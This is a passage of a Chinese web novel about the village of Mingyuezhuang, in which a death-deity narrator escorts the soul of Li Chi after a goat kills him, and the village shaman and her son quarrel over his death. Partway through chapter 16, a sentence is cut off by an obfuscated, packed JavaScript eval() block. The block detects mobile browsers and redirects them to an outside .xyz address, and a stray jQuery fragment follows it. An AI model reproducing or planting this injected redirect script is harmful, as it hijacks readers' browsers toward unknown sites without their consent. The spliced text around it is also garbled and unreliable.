“我没有。” “那我的身上怎么会这么湿!你穿得这样古怪,必定是心术不正的,你在我身上施了咒,才让我像是从水里捞上来似的!” “我为什么要给你施咒?” “为了看我的笑话!” “早就看够了。”我继续引导他发现事情的真相,“你的背不疼吗?” 李池再次呆滞地看着我,可惜他的胳膊怎么扭都无法跨越那点距离摸到背上疼痛的源头,按理说他现在的状态并不能真的感觉到疼痛,但李池还是像一头濒死的老水牛一样嚎叫着:“好疼!好疼啊!” “真想不起来?” “好疼,我好疼!你这个家伙还在这里幸灾乐祸,你就是想要看我的笑话!” 到了这种时候我就有必要残忍地点醒他了。我从面前的虚空里掏出一面雕着盘蛇吞鹿的八角镜,“好好看看,死个明白。” “死,什么死?” 李池还困在这个字眼里时,就已经在镜中见到了从家中叫喊着奔出的自己。他在自己的眼皮子底下撞开家门,撞开夜晚突如其来的暴雨,撞开清溪河的流水声,最后与迎面而来的老季撞个正着。 当时李春生已经听着水流声睡着了,我叫醒他,“李池跑出去了。” 李春生早有预见似的,没有露出任何意外的神色,“跑去哪儿了?” “往东边庙里去的路上,正和老季吵呢。” “他是去看季有兰的。我去看看。”他走了,去忠实地履行自己作为吉祥天师的职责 ,此时我误以为他是要做一个和事佬,“有的人不值得你费那么多心思。” 比如李池,反正他在我心里早就是一个死人了。 “你说的没错。”李春生嘴上这么说着,还是义无反顾地出现在他们身旁,他与多年前一样坐在一户人家的房顶上,背靠已经脱落了几块墙皮的烟囱,将河边两个男人的争端尽收眼底。 雨水把河边黯淡的自然光筛得更加细碎,老季和李池就眯着四只老花的眼睛在这几片光晕中确认对方的身份。 李池“呀”地一声蹦起,随后指着老季的鼻子骂道:“好你个老季,原来明月庄最黑心的人是你!” “怎么会是我?”老季手里抱着一条毛毯,双腿弯曲,一只对虾似的站着发出无力的辩驳,“你这是血口喷人。” “我血口喷人?倒不如说我是火眼金睛!让万婆子和她的小仙童给你算算八字,肯定是克我的!季有兰要跟我离,肯定是受了你的蛊惑吧!” “她要跟你离?” 这话从李池脑袋里一溜就滑出去了,李池正被当下的现实冲昏头脑,他不相信季有兰提出离开时基于她自己的主体意识,就像猎户不相信豢养了十几年的家犬会叛逃。 “你是哪里弄来的龙虱?让她吞下以后就像青蛙一样紧紧地抱着你!你肯定还在什么地方藏了符咒,骗得她要从这里离开,好成全你不可告人的目的!” “我没有。我不知道龙虱是什么。” 关于青蛙的比喻让老季的胸口如有巨石挤压,李池抓住他这个举动继续展开攻击,“看来你已经露出了破绽!你现在捂着胸口是想要吐,想吐是因为你被我说中了要害觉得不舒服!老季啊老季,没想到你整日在天师眼皮底下待着,居然也生出了这么恶毒的心思,你们两个都该被火烧死!扔进河里淹死!然后再把我们明月庄藏着的脏东西全都翻个遍找出来处理掉!” 他朝着李洪曾经蹲坐的那棵大树望去,殊不知李洪已经在今天的破晓时分变化为一条鲶鱼,从树枝上一跃跳进了清溪河里。而他人类的身躯并不能维持鱼的灵魂,很快,李洪就肚皮向上漂流去了下游。 “你好像没有去送李洪往生。”李春生说。 我答道:“他已经是牲畜了,不归我管。” 李池疯狂地叫嚣着要严肃处理老季,他面前那个可怜的男人想要反驳他却扭扭捏捏说不出口,对季有兰的真实感情是一柄刺穿他身体的刀,留着痛,拔出来血流如注,他想要物理上地反抗李池就更加做不到,于是他只能在夜雨中茫然地张望,最后对着李池血红的瞳孔憋出来不痛不痒的一句,“我没有。” “走!跟我去见万婆子!明天你就要被千人踩,万人踏!” 我和李春生看着李池拧钥匙一般拧转了老季的胳膊,又在老季的嚎叫声中猛踢他的肚子,老季和一捆柴火一样干巴根本没有和李池抗衡的手劲,他唯一的抵抗就是皮肤下凸起的肋骨戳得李池脚面疼。 “他会被打死的。”我说。 李春生冷冷地答道:“不会。” “什么?” “李池还要带他去见万金花呢,不会打死他的,他只是在泄愤。” “李池不像是能分得清轻重的人。”我说。言下之意是我认为现在李春生可以干预他们了,就像过去他常常做的那样,在二人心里吹起一阵和谐的风,至少保住老季的性命,但今天他没有这样做,他只是看着这一切发生。 “李月来,我拉开他们并不能真正解决问题。”他对我解释,“就算我让他们停手了,李池回到家依然会向季有兰宣泄怒气,老季仍然是不敢直面季有兰的窝囊人,矛盾没有解决,会在未来的某一天再次爆发的。” 李春生又说:“这是自欺欺人,治标不治本,拆了东墙来补西墙,拖延时间而已。时间拖得越长,就越积重难返。” 我终于意识到他今天不是来劝架的,“那你的意思是?” “再等等吧。” “我看这事儿到了万金花和小白菜那里,多半要和烧塔的事儿关联起来。” “放心交给慧慧吧,她会有办法的。” 我向他说起别的小潭,“前两天小潭来找你,你不在。” “慧慧已经告诉我了,你放心,她顾得过来。” 当时李春生正在先贤祠的后院看望李哲,他背靠漆黑的墓碑坐着,金漆从姓名的凹陷里溢出,淌下眼泪似的痕迹。 明月庄里能让李春生感到安逸的地方有三个:老屋,中学和李哲的墓地。这位南宋年间的书生在某种意义上也算是他的父亲,李春生会在他认为值得纪念的日子去墓上坐一会儿。 “重获新生是多好的事,我当然要去告诉他的。”李春生笑着说。 我对扫墓祭拜的传统没有太多感知,毕竟在我眼里这些人早已穿过死地之门,轮回转生了不知道多少次,那个名叫“李哲”的书生也早在八百多年之前就消失了。把牵挂寄托在墓碑上在我看来不过是把希望寄托在神像上的一种变体。 他坐在房顶上忽然抓起我包裹了纱布的右手掌仔细查看,夜晚的大雨在他金黄色的瞳孔上笼罩了一层朦胧的水汽,我从中听到了一声轻轻的叹息。 “李月来。” “嗯?” “你说这世道公平吗?” “不公平又能怎么样呢?我们只能执行。” 李春生说:“要是可以改变呢?” 他说的话超出了我的认知范围,正当我要追问的时候,河边传来一句老季的咒骂:“你要掐死我了!” 李池骑在他身上喊着:“你是会蛊惑女人心智的妖怪,是掐不死的,但我李池就要让你束手就擒,到万婆子和小仙童面前现出原形!” 这二人翻倒在地打成一个死结,老季全身的血气都上涌到脑门和脸颊,他挥舞着两只枯树枝般的手在李池的胳膊上留下数道血红的痕迹,他的眼珠半突出到眼眶之外,口水顺着嘴角淌到地上,这是人濒临死亡的预兆。 “他真的要被弄死了。”我说。 “不会。” 咩—— 悠长的羊叫骤然响起,不只是我,河边的两个男人也停了下来看向声音的来源,尤其是李池,他身上的青筋正富有节律地跳动着,李池用他迸裂的眼角与清溪河旁一只在雨中啃食青草的山羊四目相对。 “羊……山羊。”他从老季的身上挪开,口中喃喃念叨着山羊并向它靠近。 老季得到了一些喘息的时间,他听到全身的骨头都在嘎啦作响,而山羊的口中正咀嚼着青草看着李池一步步靠近。 “你是我的羊,你是我的羊。” 咩—— 它脖子上的粗麻绳已经磨断了,湿哒哒地晃荡在空中,李池对羊问道:“季有兰那个贱货把你放到哪里去了?喂羊还能把羊喂跑了,是不是放跑了你们方便自己去找那个姘头?” “羊……羊是自己跑的。”老季仍然在坚持徒劳地解释。 “你是我的羊,就该跟着我回家去,有了你,你另外两个兄弟早晚也会回来的。” 李池的身手在经历了打斗的消耗和雨水的掣肘之后仍然很敏捷,他一把钳住两只羊角将整只山羊往自己身边拽,但动物的倔强很轻易地就能抵抗人类,山羊的四只蹄子在泥里纹丝不动,李池便撸起身上湿漉漉的袖子,随着他的肚腩几次起伏,把胃里的窝囊气全都吐到天地间,才将自己像一座山似的倒向雨中咀嚼青草的山羊。 李池以包裹着它头颅的姿势发出烂泥般的呻吟:“你给我回去!” 那羊闭紧了嘴,忽而弯曲了前腿跪在地下,李池也因为这突然的变化脱手摔了出去。老季的喉咙终于恢复了畅通,他看见山羊的瞳孔火红,直穿雨幕向他而来。 李池再度跃起,这次他抓住了山羊脖子上的麻绳,“你这个忘本的畜生,吃我的,喝我的,现在要跟着别人跑,我要把你剁了炖汤!” 咩—— 羊的脑袋往后一扬也开始了对抗,它瘦小的蹄子具有深不可测的力量,四肢扎实地陷在泥泞的河岸里,李池继续朝着它骂:“你是我的东西,你有什么资格和我作对?你虽然披着一副山羊的皮,却有着一颗白眼狼的心,在我家住了这么多年,居然还想要逃走!你有什么资格逃走!你也是胆子大了才敢冲着我嚷嚷,要不然听见我吼一句,你是动也不敢动的!” 山羊奋力仰起脖子往后一个撤步,就把还紧紧拽着麻绳的李池甩出半米远,让他那张布满粉刺的脸与大地亲密接触,与老季以相似的姿势瘫倒在河边。从李池的脑袋下随着雨水化开两朵血红的花,男人面目狰狞地抬起脸来,他张大了嘴展示自己豁然缺失的半颗门牙,“哎呀——要了命了!我的牙!我的嘴!我的脸!” “哎哟你……” 老季居然还颤巍巍地凑上去关心他,被李池啐了一脸的血,“你这个老妖怪是想要害我!一定是你给那山羊下了咒,让他忘记了主人!” “我不是啊。” “呸!”他挣扎着站起身来重新燃起了斗志,“今天人赃俱获,我非得把你和畜生一起交给万婆子不可了!” 李池追逐山羊的过程看起来就像是人拿鸡毛逗猫,他越扑就越抓不到,然而羊和他都不厌其烦。如此重复了数十次他才迈开步子去追,一人一羊就开始滑稽地绕着老季转圈,处在圆心的可怜男人望天长叹:“天啊——饶了我吧——” 老季口中的“天”正坐在不远处的房顶上沉默地观察这一切,我问他:“那羊,是你叫回来的吧?” “是。李池是不会放弃他的羊的。” “他们这样追下去,总有一方要输的。” “但他们谁也不会投降。”李春生问我,“你说他们会怎样结束?” 我的心头一颤,“你该不会是想让李池死吧?” 云后传来一声闷雷,李春生反问我:“你为什么会这样想?” “你很少问我看法。每次你问我觉得会怎样的时候,你自己的心里就已经有了确定的看法。再者,今天晚上要是闹了一通李池牵走了羊或是羊又跑了,你也不必亲自到场。最重要的是,李池掐住老季脖子的时候我的铃铛响了,他原本就是要死的,那羊把他叫了回 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我忽然悲哀地意识到那个曾经作为人的自己也在“神仙”的框架下逐渐腐化僵硬,不爱不恨,不悲不喜,这越来越接近一个理想化的神明了。慧慧的话开始在我耳边萦绕,可是这对吗?我不知道。我只是在这时候发现,我与李春生脚下的道路已然有了分岔,而我在回答这个问题时的犹豫,使得我们曾经共同的退路也轰然瓦解了。 李春生说:“我也只是把羊叫了回来而已。” “害人性命是最严重的罪,你身体已经不好……” “我说了,我只是把羊叫了回来,仅此而已。是他自己害的自己。”李春生低下头去,“不然季有兰和小潭该怎么办呢?我只能选择一边。” “我以为你是均等地爱着每个人。” “我是,不管你信不信吧,我是。没有人比我更爱这片土地。”我听到李春生的声音哽咽,“但我没有办法,李月来,我救不了所有人。” 那肩负着重大使命的山羊再次逃到了堤岸边,李池的上衣被羊角勾破成渔网状,他的呼吸系统正发出危险的信号,他们的争斗已经到了收尾的阶段。 “你呀,你呀,还是斗不过我的哈哈哈哈……你和那个老妖怪一样,都是要被万婆子处决的,等处理完了你们,再处理季有兰那个贱货!” 咩—— 山羊爆发出尖利的吼叫,这句侮辱性的称呼激怒了山羊,它猛一抬腿就将前足从李池的手中抽出,男人翻滚着,口中仍不停止:“这是你的最后一搏了吗?这就是你的最后一搏了吧!除此之外你没有别的办法了!来啊!我是吉祥天师座下小仙童的首席信徒,你是斗不过我的!哈哈哈哈哈哈哈——啊!” 老季和李池的眼睛共同目睹了这一刻:山羊如同一匹骏马般扬起了前蹄,它火红的瞳孔竟在雨中迸出火花,饱经风霜的两只蹄子在规律的咩咩声中垂直落下,踏碎了李池的脊骨。 雨声敲锣打鼓地洞穿了身体,从他的眼眶里也流出污浊的雨水,口中像是被塞满了青草含糊不清地重复着:“我死了,我,死了,我死了……” 他吵得我心烦,我向来不喜欢处理这种话多的死者。李池又格外地固执,我选择忽视他的喃喃自语,幸运的是这男人成了听话的提线木偶,他在我的身后语气木然:“那你,是燃灯星君吗?” “是。” “星君啊!”他又来了力气,“我是被人害了,你要替我做主啊,他不仅拐走了我的老婆,他还偷走了我的羊!这种人根本不配住在吉祥天师庙里!” 老季啊,他配不配住天师庙我说了不算。他在雨中目睹了李池脊骨的断裂之后长久地陷入茫然无措的状态,山羊围绕着他踱步,老季缓缓爬向那具身躯凹陷的尸体,企图用河边的青草掩埋他,可低矮的杂草根本盖不住李池宽厚的身体,湿润的泥土成了天然的润滑剂,老季眼睁睁地看着李池的半个身子都滑进了清溪河里。 而山羊开始啃食老季的衣角,他无助地抱着山羊的耳朵说:“好山羊,你可把我害惨了,他们要是知道了,我就成了杀人犯了呀!好山羊,你说对不对,他们怎么会相信是一只羊杀了人呢?” 咩—— 羊没有回答老季,而是沿着清溪河向远处离开,不再发出叫声,不再徘徊,也不再回头。而老季,他看着山羊在雨中逐渐远去,反倒成了被羊牵着绳子的人,他带着满身的泥土和嘴角的血沫,随着山羊的步子从此消失了。 “星君啊,你一定要好好惩罚他呀!” “闭嘴。” 李池吓得发抖,我获得了很长时间的安宁,直到我们踏入最后的一段路,他打着哆嗦终于再次开了口:“星君,我们这是要去哪儿啊?” “去投胎。” “啊?那我会投去哪儿啊?” 我打开文书,根据李池一生的所作所为,我看到了他的下一世:猪。 李池忽然跑上前来抓着我的衣袖,“星君,我兢兢业业侍奉吉祥天师呢,我是不是能投个好胎啊?” “你嘛……下一世吃喝不愁,膀大腰圆。” 他听了很高兴,“啊星君,你行行好,让我在这儿等等我老婆,让我们俩一块儿投胎,下辈子还投在一处好不好?” 他的话终于让我忍无可忍,“你这人真恶心。”他被我掐着脖子摁在虚空的墙上连连摆手:“诶哟星君我错了我错了,我说错话了,我给您道歉您消消气吧!星君,这里好冷啊。” 这个发现让我暂时停下了动作:我感到生气,我在宣泄愤怒。谢天谢地我仍然保留着一丁点儿人的情感。我下意识地寻找李春生的身影,想把这个消息告诉他,但那个赤色的身影早已不在屋顶上了。 “到了。” 到了?李池抬起头,雾气此时盘踞着天与地,眼前孤零零立着一扇门。 “这是鬼门关吗?” 明月庄的人是这么叫的,它真正的名字是死地之门,这个世上没有鬼,李池这样的只能算作游魂。我懒得与他解释这些,“你过去,把门上的钥匙拔下来给我,然后穿过门。快点。” 他在我的助力下一个踉跄就到了门前,捏着钥匙发抖也不敢拔下来,“星君,您能不能回答我最后一个问题?我保证,就一个!” “说。” “这么多年,吉祥天师他认得我吗?” 我真不该让他开口的,明月庄还有很多李池,都在长时间的环境塑造下成了空杯子,从里到外灌满了信仰。 “你的羊就是他找回来的。”我答道。 我看到他生平第一次挺直了弯曲的脊背,脸上绽放出一个八岁孩童般幸福的笑容,“我就知道他认得我……我就知道他认得我……” 他心满意足地拧动了钥匙,木门豁然大开,李池的视野成了天地合一的白色,他整个人发热,忘记了明月庄,忘记了山羊,也忘记了吉祥天师,幸福地踏入门后的温热中不见了。 我捡起钥匙穿在左边腰间的一条链子上,迷雾在此时散去,太阳穿过桥洞在河面洒满金粉,预示着今天是个好天气。 16. 关键词 李池在雨中与老季缠斗不分胜负的时候,万金花与季有兰之间的话题已经将这个男人排除在外,李小潭下达的逐客令没有收获预期的效果,万金花仍然站在那里居高临下地发表自己的言论。 “离婚,没有这样的道理。你是无能,无能的话过得苦就是活该。你这样无能的人还是留在明月庄比较好,出去了死得更快。”她已经不想再纠缠服用龙虱的争议,这个话题出自小白菜,也将成为小白菜与她争夺话语权的工具,但在季有兰面前做一个大家长她还是饶有兴致。 “我怎么没有道理?现在又不是旧社会,我的要求完全合理合法。”季有兰拆掉自己的辫子重新梳好,手里揉搓着缠绕在木梳齿上的几根掉发,她的年纪还完全没有到生长白发的时候,但梳齿上的两缕白异常显眼。 “哼,就算你有吧,那又怎样?”万金花从鼻孔里冷哼一声,对季有兰渴望掌握自己命运的想法嗤之以鼻,“生在明月庄的,就该在明月庄好好待着。你们一个两个都信了中学里头的鬼话,觉得外面鸟语花香,你们有几个人在外面住过?我告诉你们,外面水深火热,去了连投胎都没法回来!你们以为外面的都是人吗,我告诉你们,那都是鬼!我就是从鬼堆里逃到这里的!” “你当我想回来吗?”季有兰低着头喃喃自语,万金花高高仰起鼻子,没有听到她说的,继续演说着自己的理论,“拜塔拜庙拜天师,你就是太无能,没事做,才会想这些乱七八糟的。多抄抄经书,安分守己地等待天师庇佑才是正经的。” 小白菜不留情面地将话头抢走,“季有兰!你合什么理,合什么法?季有兰啊季有兰,你莫不是忘记了,在我们明月庄,吉祥天师才是理,吉祥天师才是法,你们的缘分未尽,你怎么能离开他而去呢?” “我们本来就是没有缘分的。” “那是你没有看清!像你这样的肉体凡胎怎么能揣摩上天给予的缘分呢?这可不是你说了算的,你都没有请示过上天,怎么能知道是真的尽了呢。” 李小潭早就打心眼儿里厌烦这对母子,尤其是在小白菜在拜神大会上奇迹般地开蒙之后,这些蛊惑人心的手段更是花样百出,明月庄的人深信不疑,李小潭则看得清清楚楚,她挡在母亲的身前,“说了没有那就是没有。要是这缘分让她痛苦,那就算有也不如没有。” “哎呀呀。”小白菜背着手直摇头,活像一个年过半百的中年男人,“人生在世的痛苦都是暂时的,你们的头脑果然无法理解这个道理,只想着纵情享乐,殊不知痛苦才是永恒幸福的铺垫呢,活着的痛苦是为了死后荣升高天的幸福而生的呀。你觉得苦,就更应该皈依到明月庄的信仰下呀。” “一张嘴就尽会放屁。”李春生曾说小白菜是个说书传教的好手,他的这套理论运用得当无疑将收获广泛的信众,然而李小潭不会买他的账。 “哎呀,哎呀,真是粗鲁呢。”小白菜又如同猿猴般抱住了万金花的腿,“妈妈,我们不用管她,你来告诉她们,季有兰与李池的缘分尽了没有呢?” 万金花终于意识到自己在这场话语权争夺战中失去了主导权,她的神经骤然紧绷,瞳孔发颤,未来与过去的种种奔涌进她的脑海,这是威胁,这是重演,她的儿子正逐渐成为推她重入深渊的凶手,万金花必须阻止这种情况的发生。 小白菜自顾自地说:“妈妈,你怎么不说话?这件事很简单,抓一把豌豆在碗里数一数,偶数是有,奇数是无,我们明月庄的每一对夫妻,不都是这么找到彼此的吗,这还是妈妈您定下的规矩呢,就写在《千年万代引》的第一百二十五页,难道您忘记了吗?” 她无法回答不是,因为这是她自己使用过的裁断家务事的方法,她也无法回答是,因为一人之下,万人之上的明月庄神婆子怎么能对一个六岁的小毛孩言听计从? 慧慧就是在这一时刻踏进了李小潭的家门,如约去上演一出她为季有兰母女谋划的好戏。事后我向她问起细节,她朝我露出一个拿手的坏笑,“我去挑拨离间,你信吗?” 我几乎没有思考就笃定地答道:“不信。” “这么确定?” “我只是了解你的为人。” 于是她改换了说法,“我去履行自己的职责。” 这是真话,同时也证明我确实足够了解她。慧慧的闯入算不上有礼,倒像是给这沉闷的雨夜放的一记礼花。她的药箱在中学医务室以外的地方没有发挥过应有的作用,但却根据物主的需要扮演过各种千奇百怪的角色。 这位不速之客在明月庄深谙与这些人的相处之道,还颇有一些诡辩的才能,这才能今夜就要发挥它的用途。 她一边抖落外套上的雨水一边说:“哎哟这雨下得我鞋子都湿了,万婆子小白菜你们也在啊这么巧!是家里有事儿吗?还是我来得不好啊,我在外面听见你们说豌豆还是什么的。”慧慧把药箱里的东西在桌上整齐地码放开,一点儿也不给其他人插嘴的机会,“身体好些了吗?” 屋里的四个人都还在思考她进来的原因,慧慧提问的对象是季有兰,读懂她意思的则是李小潭。 “妈好多嘞慧慧姐,多亏了你常来。今天下这么大的雨,太麻烦你了。” 她接过李小潭递来的毛巾擦手,忽然惊起绕过李小潭转到万金花的面前,“呀!万婆子我想起来我进门前想问的是什么了!万婆子,你说,要是两边的豌豆数量一奇一偶怎么办?” “你说什么?”小白菜在脚边问她。 慧慧依然看着万金花,“万婆子,我脑子笨,想不明白,您快给解答解答。” “我在问你话呢!”小白菜站在床上跺脚,木板床被踩得咚咚响,慧慧的忽视击碎了他脆弱的自尊心,他的双眼和脸颊都几乎要滴血下来,残缺的门牙咯咯作响,长指甲嵌进手掌的纹理抠破了表皮。而他的母亲站在一旁面对慧慧真诚的发问感到了一丝欣慰。 慧慧这才将话题抛给小白菜:“我说,缘分应该是双方的,对吧?那你就不能只检验一个人,所以就有这样一种可能,她的豌豆是偶数,李池的豌豆是奇数,这种时候要怎么办呢?白菜,难道这法子只顾及一个人吗?” 小白菜僵直着身体蹦下床,“你这是强词夺理,豌豆本就是在检验两个人的缘分,不需要测两遍!这是写在《千年万代引》上的方法,不容更改!” “小神仙,百分之五十的概率可是很大的。” “概率?你用概率来揣摩天意吗?还有,我没有害怕!” “揣摩天意怎么了?我们这些蠢人不就是在你亲爱的母亲带领下推测天意才活得好吗?”慧慧脸上的神情比他们见过的任何一个求问者都要真诚,“我理解的没错吧,万婆子?” 万金花信使的身份再次得到了承认,不由得头脑摇晃沾沾自喜起来,她感到自己的危机终于在慧慧的三言两语中得到了些许消解。她指着小白菜说:“半瓶水,瞎晃荡。” “我还有问题呢,小神仙,你说这缘分能不能比大小?要是她和另一个人的缘分比和李池更有缘分怎么办?这要怎么检验呢?还是有用豌豆?抛硬币行不行?你看我的脑子就和一头毛驴一样笨,你也该为我解答解答。” 可小白菜并不会为她答疑解惑,这个六岁的孩子手上力气也出奇得大,他一弯腰就把右脚的鞋子变成飞镖,从慧慧的肩头擦过命中了角落的一只搪瓷杯,小白菜越过杯子跌落在地的清脆声响来到慧慧面前,用自己深吸一口气鼓起的胸膛来威慑她,“我说了,这是明月庄长久以来的规矩!” 慧慧挂上一副惊恐的姿态也抱住万金花的大腿,“呀,万婆子你明鉴啊,我说过这规矩不对吗?” “你!”看来小白菜誓要让万金花在今夜饱尝不爽,他再次抢过了自己母亲的话头,“你是没有说过,但我也早就看穿了你的意图,你话里话外就是想说这神圣的规矩是不对的,像你这样想法的人应该和那个纵火犯一起被处理掉!” “处理掉?”两颗泪珠恰逢时宜地掉下来,没有在场观看是我的一大损失,“怎么处理呀小神仙?” “看来你真的是个榆木脑袋,那纵火犯当然是用烧死,而你自然是拔掉舌头,这两件事都要由我小白菜来向众人宣布!” 万金花听了浑身一震。小白菜?由小白菜来宣布?那她万金花,明月庄现任的神婆子,小白菜的亲生母亲又算是什么?那一刻,小白菜替代自己踩在明月庄众人鼻子上的画面涌入万金花的脑海,这个孩子实现了她不被人瞧不起的愿望,却也在极速膨胀的权力中让万金花看到了自己被取代的未来,哪怕它仍然不确定,但也已经有了发生的可能。万金花终究无法在这个短暂的雨夜思考出另一条道路,慧慧又将她拉回到眼前的状况里。 “苍天呀万婆子,我真的是想不明白所以要问问呢,怎么就要被处理掉了?他说的是真的吗万婆子?你得救救我呀!”她熟练地露出卑微者对上位者的祈求,神婆子终于将内心的想法付诸了行动,她“啪”地拍打小白菜的脑瓜,“死小子,一张嘴就知道胡说。什么时候轮到你来说话了,你老娘我还在这儿呢,真是话比芝麻多,脑子像鸡毛。” “我说的怎么是空话呢,妈妈?”小白菜转身一步一步走向万金花,“你以前从来不会这样反驳我的,是我做错了什么吗?妈妈,你究竟为何对我不满?”六岁的孩子扒开慧慧的双手,自己像一株寄生植物般伸出了自己的触须,攀上万金花颤抖的下肢。 现在,这母子二人之间的对话已经脱离了“缘分”的议题,走向家庭争执的复杂深渊中。慧慧在地上调整了一个舒服的姿势,并示意李小潭与季有兰不必出声。 “作孽的!”万金花拎起小白菜的胳膊,决意要从这一家的纷争当中脱身去解决自己的麻烦,她边往外走边说:“你家的事儿我不管了,季有兰,等李池回来了,你好自为之吧。只一条,你要是没用,受苦就是活该的。” 这一夜万金花没有睡好,她在床上翻来覆去,小白菜与慧慧的话语成了她脑海中游荡的幽灵。这迫使她滑向对自己过往行为的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063024|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 审视,万金花在明月庄苦心经营的地位正面临被取而代之的危机,她看到小白菜已经乘着特殊开蒙经历的东风扶摇直上,将她这个母亲远远甩在身后。对于万金花而言,失去地位与众人尊敬的痛苦更加胜过漫长寒冬。 该死的李池,他口无遮拦地将小白菜捧到比自己还高的位置,早知如此,从一开始万金花就该将李池打出门去。 她在这样的想法当中辗转反侧,雨声与李得彩富有节律的呼噜声响了一夜,终于在临近日出的时刻将万金花催眠了一小会儿。这难得的睡眠遗憾地没有持续多久,太阳刚刚被端上山羊坡平缓的顶端,她就被门外一个男人的声音吵醒了。 这个平日里被叫作老鼠的男人在破晓之前就在河边回收虾篓,他几乎没有遇到过篓中空无一物的情况,明月庄的每个人都知道清溪河物产丰饶是来自吉祥天师的馈赠。而今日,老鼠泡在水里查看一日的收获时,却注意到河岸的土地呈现出不寻常的凌乱——泥土被大面积地翻起,绿草杂乱地散落在各处,而水中的芦苇也莫名倒伏了几株。 我们应该赞美老鼠旺盛的好奇心与敏锐的洞察力,他在泥土凌乱的中心发现了已经几道暗褐色的痕迹,这犹如醒目的路牌标识,指引着他来到芦苇丛中,成为李池尸体的第一发现人。 万金花与他表现出了同样的震惊,不过是一个晚上的雨,居然改变了这么多的事。另外,万金花在匆匆忙忙要踏出家门时心中一惊:小白菜不在家中。 这个六岁孩子的动向本应始终在万金花的视野范围内,现在却了无踪迹。她陷入一瞬间的茫然无措与恐惧,下一刻她调转矛头一脚把还在打呼噜的丈夫踹醒,“出事了,死猪!” 李得彩的怀里抱着一尊半成品的塑像,他从来都是这么睡觉的,这陶土像你他的老婆还亲,不抱着就要做噩梦,他迷迷糊糊地睁开眼,“你干什么?” “没找着小白菜,你到处去看看,我要去河边了。”她并非不担心自己的亲骨肉,即使在对小白菜地位与日俱增的恐惧下,万金花仍然在扮演一个合格的母亲的角色。 李得彩刚从睡梦中被强行唤醒,他头昏脑涨地思考万金花说的话,喃喃自语着“不是在鸡圈里捡蛋,就是在路边追狗。” 显然他并不了解自己的孩子。 当万金花随着老鼠仓皇的脚步来到河边时,已经有几个人挽起裤腿在打捞李池的尸体,而河岸边,泥土与青草之中,还端坐一个矮小的身影,这身影听到万金花的脚步声就及时转过头来,露出一个灿烂的笑脸:“早上好啊,妈妈。” 河中那具折断了的尸体被众人抛了过来,横亘在小白菜与万金花之间。他的耳目口鼻都已经肿胀地看不清原来的样子,河岸的淤泥沾满了他的身躯,十指通红开裂,最引人瞩目的,当属他凹折变形的脊骨,好似河水上石桥的倒影。 李池的身体散发着水草的腥味,他肿胀得仿佛下一秒就要爆炸,将五脏六腑都甩到众人的脸上,再拼凑出一个可被解读的预兆来。 可万金花跳过了一切,对着小白菜发出疑问:“你是怎么到这儿来的?”她转向河边的几个男人,所有人都摇头表示否定。 “妈妈,我应该在这里,所以我就在这里呀。他们为什么来找你,我就为什么在这里。”他微微笑着,几颗水珠从脸上滑下。 老鼠以为这突然的事件意味着自己要大难临头,已经开始寻求驱邪的方法,“万婆子,你得帮帮我啊,我就是来收个虾篓碰上的,劳烦你得写张符或者别的什么东西祛祛晦气。” “你!”老鼠瑟缩的双眼被小白菜逮个正着,他被指派成了神圣任务的执行者,“还不快去把他的妻子和女儿叫来,我们有话要问问她们。” “我们?”万金花问。 “是啊妈妈,难道你不是为此而来的吗?” 万金花对小白菜的说话风格感到厌烦,他的神圣经历难道就改变了他的出身,让他摆脱了明月庄的泥土升到天上去吗?当然没有了,小白菜应当永远是万金花的儿子,应该作为她的一部分而存在。 “你这死小子,给我好好说话。” “你在害怕吗?妈妈。”六岁的孩子发出讥笑,“妈妈,还是先做好眼前的事吧,你看,她们来了。” 那对脆弱的母女显然也是彻夜未眠,而李池折断了的身体也打碎了支撑她们的最后一点精神。季有兰瘫倒在地,她控制不住身体的颤抖,只能扶着女儿李小潭勉强坐着。小潭却在这清晨的混乱中成了稳定的锚点,她不哀悼,也不恸哭,而是冷漠地凝视着万金花和小白菜干枯的眼睛。 明月庄的其他人也在报时的公鸡和传讯的嘴巴当中知晓了李池的结局,清溪河如今已是明月庄新闻的中心,任人围观和评头论足。 我告诉李春生接走李池的时候他吵得很,这位明月庄的大神仙本尊没有发表任何的看法,他已经对这些事感到疲倦,只是告诉我:“我和慧慧会照顾好她们母女的。” 于是河边的争辩开始了。 ? 17. 除巫之法 众目睽睽之下小白菜抬起他的赤足,踏在李池肿胀的左手上摆出一个将军雕塑般的模样来向众人宣布:“各位,这可不是什么好征兆!我看这并非意外,而是巫术的显兆!” 巫术?他是从哪里学来的这个词?未知带来莫名的恐惧已经从四面八方侵袭了万金花的身体,她万分确信自己的口中从未流露出有关巫术的任何知识,而她的儿子,小白菜,这个领受了浩荡仙恩的孩子却成了这一领域的先驱和实践者。他向众人宣布:李池绝不是意外死亡,而是遭人咒杀。 万金花已经受够了小白菜这样抢夺本该属于她的话语,如果今天她不能重拾自己在明月庄说一不二的权威,那么将来的日子小白菜就是那投下阴影的高塔,把万金花禁锢其中。 方才帮忙打捞尸体的几人面面相觑,老鼠钻出他光溜溜的脑袋,“这是什么意思啊?他是被人咒死的?” 万金花像拔起一根萝卜那样跨过李池缠绕着水草的头颅拔起小白菜并捂住他的嘴,“是不是咒死的,也要我来看看才知道。”她怀里的孩子开始铆足了劲挣扎,两条腿蹬踹着身下的空气,他从手掌的缝隙中露出两颗乳白色的牙齿嵌入万金花的皮肉。神婆子疼得甩手大叫,小白菜稳稳地落在地上质问道:“可是妈妈,你还要问什么?”他永远在万金花最不乐意的地方提出质疑,“我的眼睛已经告诉了我,李池的身上有着巫术诅咒的痕迹,你看他背上的大坑,正在泛着常人无法得见的红光,这就是咒杀而死的标志。妈妈,难道你也和他们一样,看不到吗?” 